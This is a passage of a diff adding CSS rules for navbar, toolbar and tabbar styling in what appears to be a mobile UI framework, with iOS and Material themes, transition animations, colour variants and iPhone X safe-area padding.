.navbar-previous { + pointer-events: none; +} +.ios .navbar-previous .left, +.ios .navbar-previous .right, +.ios .navbar-previous > .title, +.ios .navbar-previous .subnavbar, +.ios .navbar-previous .fading { + opacity: 0; +} +.ios .navbar-previous .sliding { + opacity: 0; +} +.ios .navbar-previous .subnavbar.sliding, +.ios .navbar-previous.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .navbar-next { + pointer-events: none; +} +.ios .navbar-next .left, +.ios .navbar-next .right, +.ios .navbar-next > .title, +.ios .navbar-next .subnavbar, +.ios .navbar-next .fading { + opacity: 0; +} +.ios .navbar-next .sliding { + opacity: 0; +} +.ios .navbar-next.sliding .left, +.ios .navbar-next.sliding .right, +.ios .navbar-next.sliding > .title, +.ios .navbar-next.sliding .subnavbar { + opacity: 0; +} +.ios .navbar-next .subnavbar.sliding, +.ios .navbar-next.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .router-transition-css-forward .navbar-current .left, +.ios .router-transition-css-backward .navbar-current .left, +.ios .router-transition-css-forward .navbar-current > .title, +.ios .router-transition-css-backward .navbar-current > .title, +.ios .router-transition-css-forward .navbar-current .right, +.ios .router-transition-css-backward .navbar-current .right, +.ios .router-transition-css-forward .navbar-current .subnavbar, +.ios .router-transition-css-backward .navbar-current .subnavbar { + -webkit-animation: ios-navbar-element-fade-out 400ms forwards; + animation: ios-navbar-element-fade-out 400ms forwards; +} +.ios .router-transition-css-forward .navbar-current .sliding, +.ios .router-transition-css-backward .navbar-current .sliding, +.ios .router-transition-css-forward .navbar-current .left.sliding .icon, +.ios .router-transition-css-backward .navbar-current .left.sliding .icon, +.ios .router-transition-css-forward .navbar-current.sliding .left, +.ios .router-transition-css-backward .navbar-current.sliding .left, +.ios .router-transition-css-forward .navbar-current.sliding .left .icon, +.ios .router-transition-css-backward .navbar-current.sliding .left .icon, +.ios .router-transition-css-forward .navbar-current.sliding > .title, +.ios .router-transition-css-backward .navbar-current.sliding > .title, +.ios .router-transition-css-forward .navbar-current.sliding .right, +.ios .router-transition-css-backward .navbar-current.sliding .right { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + opacity: 0 !important; + -webkit-animation: none; + animation: none; +} +.ios .router-transition-css-forward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-forward .navbar-current .sliding.subnavbar, +.ios .router-transition-css-backward .navbar-current .sliding.subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + opacity: 1; +} +.ios .router-transition-css-forward .navbar-next .left, +.ios .router-transition-css-backward .navbar-previous .left, +.ios .router-transition-css-forward .navbar-next > .title, +.ios .router-transition-css-backward .navbar-previous > .title, +.ios .router-transition-css-forward .navbar-next .right, +.ios .router-transition-css-backward .navbar-previous .right, +.ios .router-transition-css-forward .navbar-next .subnavbar, +.ios .router-transition-css-backward .navbar-previous .subnavbar { + -webkit-animation: ios-navbar-element-fade-in 400ms forwards; + animation: ios-navbar-element-fade-in 400ms forwards; +} +.ios .router-transition-css-forward .navbar-next .sliding, +.ios .router-transition-css-backward .navbar-previous .sliding, +.ios .router-transition-css-forward .navbar-next .left.sliding .icon, +.ios .router-transition-css-backward .navbar-previous .left.sliding .icon, +.ios .router-transition-css-forward .navbar-next.sliding .left, +.ios .router-transition-css-backward .navbar-previous.sliding .left, +.ios .router-transition-css-forward .navbar-next.sliding .left .icon, +.ios .router-transition-css-backward .navbar-previous.sliding .left .icon, +.ios .router-transition-css-forward .navbar-next.sliding > .title, +.ios .router-transition-css-backward .navbar-previous.sliding > .title, +.ios .router-transition-css-forward .navbar-next.sliding .right, +.ios .router-transition-css-backward .navbar-previous.sliding .right, +.ios .router-transition-css-forward .navbar-next.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; + opacity: 1 !important; +} +.ios .theme-dark .navbar, +.navbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .navbar:after, +.navbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .navbar .subtitle, +.navbar.ios .theme-dark .subtitle { + color: #8e8e93; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-left .navbar-inner { + padding-left: calc(8px + constant(safe-area-inset-right)); + padding-left: calc(8px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-right .navbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +.md .navbar { + height: 56px; + background: #2196f3; + color: #fff; + font-size: 20px; +} +.md .navbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .navbar.no-shadow:after { + display: none; +} +.md .navbar a { + color: inherit; +} +.md .navbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + height: 56px; + line-height: 56px; +} +.md .navbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .navbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .navbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .navbar .title { + margin: 0 16px; + line-height: 1.2; + text-align: left; +} +.md .navbar .subtitle { + line-height: 1.2; + font-size: 14px; + font-weight: normal; + color: rgba(255, 255, 255, 0.85); +} +.md .navbar .right { + margin-right: auto; +} +.md .navbar .right:first-child { + left: 16px; +} +.md .navbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; +} +.md .page-with-subnavbar .navbar-inner { + overflow: visible; +} +.md .navbar ~ * .page-content, +.md .navbar ~ .page-content { + padding-top: 56px; +} +@media (min-width: 768px) { + .md .navbar { + height: 64px; + } + .md .navbar a.link { + height: 64px; + line-height: 64px; + } + .md .navbar ~ * .page-content, + .md .navbar ~ .page-content { + padding-top: 64px; + } +} +.md .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .navbar-hidden:after { + display: none; +} +.md .color-theme-red .navbar, +.md .color-theme-red.navbar { + background: #f44336; +} +.md .color-theme-green .navbar, +.md .color-theme-green.navbar { + background: #4caf50; +} +.md .color-theme-blue .navbar, +.md .color-theme-blue.navbar { + background: #2196f3; +} +.md .color-theme-pink .navbar, +.md .color-theme-pink.navbar { + background: #e91e63; +} +.md .color-theme-yellow .navbar, +.md .color-theme-yellow.navbar { + background: #ffeb3b; +} +.md .color-theme-orange .navbar, +.md .color-theme-orange.navbar { + background: #ff9800; +} +.md .color-theme-gray .navbar, +.md .color-theme-gray.navbar { + background: #9e9e9e; +} +.md .color-theme-white .navbar, +.md .color-theme-white.navbar { + background: #ffffff; +} +.md .color-theme-black .navbar, +.md .color-theme-black.navbar { + background: #000000; +} +.md .navbar.color-red { + background: #f44336; +} +.md .navbar.color-green { + background: #4caf50; +} +.md .navbar.color-blue { + background: #2196f3; +} +.md .navbar.color-pink { + background: #e91e63; +} +.md .navbar.color-yellow { + background: #ffeb3b; +} +.md .navbar.color-orange { + background: #ff9800; +} +.md .navbar.color-gray { + background: #9e9e9e; +} +.md .navbar.color-white { + background: #ffffff; +} +.md .navbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-left .navbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-right .navbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.ios .toolbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; + bottom: 0; +} +.ios .toolbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .toolbar a.link { + line-height: 44px; + height: 44px; +} +.ios .toolbar a.link i + span, +.ios .toolbar a.link i + i, +.ios .toolbar a.link span + i, +.ios .toolbar a.link span + span { + margin-right: 7px; +} +.ios .toolbar a.icon-only { + min-height: 44px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; + min-width: 44px; +} +.ios .toolbar b { + font-weight: 600; +} +.ios .toolbar.no-hairline:before { + display: none !important; +} +.ios .toolbar:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .toolbar-inner { + padding: 0 8px; +} +.ios .tabbar, +.ios .tabbar-labels { + color: #929292; +} +.ios .tabbar a, +.ios .tabbar-labels a { + color: #929292; +} +.ios .tabbar a.tab-link-active, +.ios .tabbar-labels a.tab-link-active { + color: #007aff; +} +.ios .tabbar i.icon, +.ios .tabbar-labels i.icon { + height: 30px; +} +.ios .tabbar-labels { + height: 50px; +} +.ios .tabbar-labels a.tab-link, +.ios .tabbar-labels a.link { + padding-top: 4px; + padding-bottom: 4px; +} +.ios .tabbar-labels a.tab-link i + span, +.ios .tabbar-labels a.link i + span { + margin: 0; +} +.ios .tabbar-labels .tabbar-label { + letter-spacing: 0.01em; + font-size: 10px; +} +@media (min-width: 768px) { + .ios .tabbar .toolbar-inner, + .ios .tabbar-labels .toolbar-inner { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + } + .ios .tabbar a.tab-link, + .ios .tabbar-labels a.tab-link, + .ios .tabbar a.link, + .ios .tabbar-labels a.link { + width: auto; + min-width: 105px; + } + .ios .tabbar-labels { + height: 56px; + } + .ios .tabbar-labels .tabbar-label { + font-size: 14px; + } +} +.ios .tabbar-scrollable .toolbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .tabbar-scrollable a.tab-link, +.ios .tabbar-scrollable a.link { + padding: 0 8px; +} +.ios .toolbar ~ * .page-content, +.ios .toolbar ~ .page-content { + padding-bottom: 44px; +} +.ios .tabbar-labels ~ * .page-content, +.ios .tabbar-labels ~ .page-content { + padding-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .page-content, + .ios .tabbar-labels ~ .page-content { + padding-bottom: 56px; + } +} +.ios .toolbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .toolbar-hidden { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .theme-dark .toolbar, +.toolbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .toolbar:before, +.toolbar.ios .theme-dark:before { + background-color: #282829; +} +.ios .color-theme-red .tabbar a.tab-link-active, +.ios .color-theme-red .tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar a.tab-link-active { + color: #ff3b30; +} +.ios .color-theme-green .tabbar a.tab-link-active, +.ios .color-theme-green .tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar a.tab-link-active { + color: #4cd964; +} +.ios .color-theme-blue .tabbar a.tab-link-active, +.ios .color-theme-blue .tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar a.tab-link-active { + color: #007aff; +} +.ios .color-theme-pink .tabbar a.tab-link-active, +.ios .color-theme-pink .tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar a.tab-link-active { + color: #ff2d55; +} +.ios .color-theme-yellow .tabbar a.tab-link-active, +.ios .color-theme-yellow .tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar a.tab-link-active { + color: #ffcc00; +} +.ios .color-theme-orange .tabbar a.tab-link-active, +.ios .color-theme-orange .tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar a.tab-link-active { + color: #ff9500; +} +.ios .color-theme-gray .tabbar a.tab-link-active, +.ios .color-theme-gray .tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar a.tab-link-active { + color: #8e8e93; +} +.ios .color-theme-white .tabbar a.tab-link-active, +.ios .color-theme-white .tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar a.tab-link-active { + color: #ffffff; +} +.ios .color-theme-black .tabbar a.tab-link-active, +.ios .color-theme-black .tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar a.tab-link-active { + color: #000000; +} +.ios .tabbar-labels.color-red a.tab-link-active, +.ios .tabbar.color-red a.tab-link-active { + color: #ff3b30; +} +.ios .tabbar-labels.color-green a.tab-link-active, +.ios .tabbar.color-green a.tab-link-active { + color: #4cd964; +} +.ios .tabbar-labels.color-blue a.tab-link-active, +.ios .tabbar.color-blue a.tab-link-active { + color: #007aff; +} +.ios .tabbar-labels.color-pink a.tab-link-active, +.ios .tabbar.color-pink a.tab-link-active { + color: #ff2d55; +} +.ios .tabbar-labels.color-yellow a.tab-link-active, +.ios .tabbar.color-yellow a.tab-link-active { + color: #ffcc00; +} +.ios .tabbar-labels.color-orange a.tab-link-active, +.ios .tabbar.color-orange a.tab-link-active { + color: #ff9500; +} +.ios .tabbar-labels.color-gray a.tab-link-active, +.ios .tabbar.color-gray a.tab-link-active { + color: #8e8e93; +} +.ios .tabbar-labels.color-white a.tab-link-active, +.ios .tabbar.color-white a.tab-link-active { + color: #ffffff; +} +.ios .tabbar-labels.color-black a.tab-link-active, +.ios .tabbar.color-black a.tab-link-active { + color: #000000; +} +.ios.device-iphone-x .views > .toolbar, +.ios.device-iphone-x .view > .toolbar, +.ios.device-iphone-x .page > .toolbar, +.ios.device-iphone-x .popup > .toolbar, +.ios.device-iphone-x .panel > .toolbar, +.ios.device-iphone-x .login-screen > .toolbar { + height: calc(44px + constant(safe-area-inset-bottom)); + height: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .views > .toolbar .toolbar-inner, +.ios.device-iphone-x .view > .toolbar .toolbar-inner, +.ios.device-iphone-x .page > .toolbar .toolbar-inner, +.ios.device-iphone-x .popup > .toolbar .toolbar-inner, +.ios.device-iphone-x .panel > .toolbar .toolbar-inner, +.ios.device-iphone-x .login-screen > .toolbar .toolbar-inner { + height: auto; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .views > .tabbar-labels, +.ios.device-iphone-x .view > .tabbar-labels, +.ios.device-iphone-x .page > .tabbar-labels, +.ios.device-iphone-x .popup > .tabbar-labels, +.ios.device-iphone-x .panel > .tabbar-labels, +.ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(50px + constant(safe-area-inset-bottom)); + height: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .views > .tabbar-labels, + .ios.device-iphone-x .view > .tabbar-labels, + .ios.device-iphone-x .page > .tabbar-labels, + .ios.device-iphone-x .popup > .tabbar-labels, + .ios.device-iphone-x .panel > .tabbar-labels, + .ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios.device-iphone-x .toolbar ~ * .page-content, +.ios.device-iphone-x .toolbar ~ .page-content { + padding-bottom: calc(44px + constant(safe-area-inset-bottom)); + padding-bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ * .page-content, +.ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(50px + constant(safe-area-inset-bottom)); + padding-bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ * .page-content, + .ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-left .toolbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-right .toolbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .toolbar { + background: #2196f3; + height: 48px; + color: #fff; + font-size: 14px; + top: 0; +} +.md .toolbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar.no-shadow:after { + display: none; +} +.md .toolbar a { + color: #fff; +} +.md .toolbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + line-height: 48px; + height: 48px; +} +.md .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .toolbar a.link i + span, +.md .toolbar a.link i + i, +.md .toolbar a.link span + i, +.md .toolbar a.link span + span { + margin-right: 8px; +} +.md .toolbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .toolbar-inner { + overflow: hidden; +} +.md .tabbar a.link, +.md .tabbar-labels a.link, +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + padding-left: 0; + padding-right: 0; + font-size: 14px; + text-transform: uppercase; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .tabbar i.icon, +.md .tabbar-labels i.icon { + height: 24px; +} +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + overflow: hidden; + color: rgba(255, 255, 255, 0.7); + position: relative; +} +.md .tabbar a.tab-link.tab-link-active, +.md .tabbar-labels a.tab-link.tab-link-active, +.md .tabbar a.tab-link.active-state, +.md .tabbar-labels a.tab-link.active-state { + color: #ffffff; +} +.md .tabbar .tab-link-highlight, +.md .tabbar-labels .tab-link-highlight { + position: absolute; + left: 0; + bottom: 0; + height: 2px; + background: #fff; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + right: 0; +} +.md .toolbar-bottom-md, +.md .messagebar { + top: auto !important; + bottom: 0 !important; +} +.md .toolbar-bottom-md:after, +.md .messagebar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + bottom: 100%; + height: 10px; + top: auto; + pointer-events: none; + background: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar-bottom-md .tab-link-highlight, +.md .messagebar .tab-link-highlight { + bottom: auto; + top: 0; +} +.md .tabbar-labels { + height: 72px; +} +.md .tabbar-labels a.tab-link, +.md .tabbar-labels a.link { + padding-top: 12px; + padding-bottom: 12px; +} +.md .tabbar-labels .tabbar-label { + margin-top: 10px; + max-width: 100%; + overflow: hidden; +} +.md .tabbar-labels.toolbar-bottom-md { + height: 56px; +} +.md .tabbar-labels.toolbar-bottom-md a.tab-link, +.md .tabbar-labels.toolbar-bottom-md a.link { + padding-top: 7px; + padding-bottom: 7px; +} +.md .tabbar-labels.toolbar-bottom-md .tabbar-label { + text-transform: none; + line-height: 1.2; + font-weight: normal; + letter-spacing: 0; +} +.md .tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .tabbar-scrollable a.tab-link, +.md .tabbar-scrollable a.link { + padding: 0 16px; +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 48px; +} +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 72px; +} +.md .toolbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .toolbar-hidden:after { + display: none; +} +.md .toolbar-hidden.toolbar-bottom-md, +.md .toolbar-hidden.messagebar { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 56px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 104px; +} +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 128px; +} +.md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -104px, 0); + transform: translate3d(0, -104px, 0); 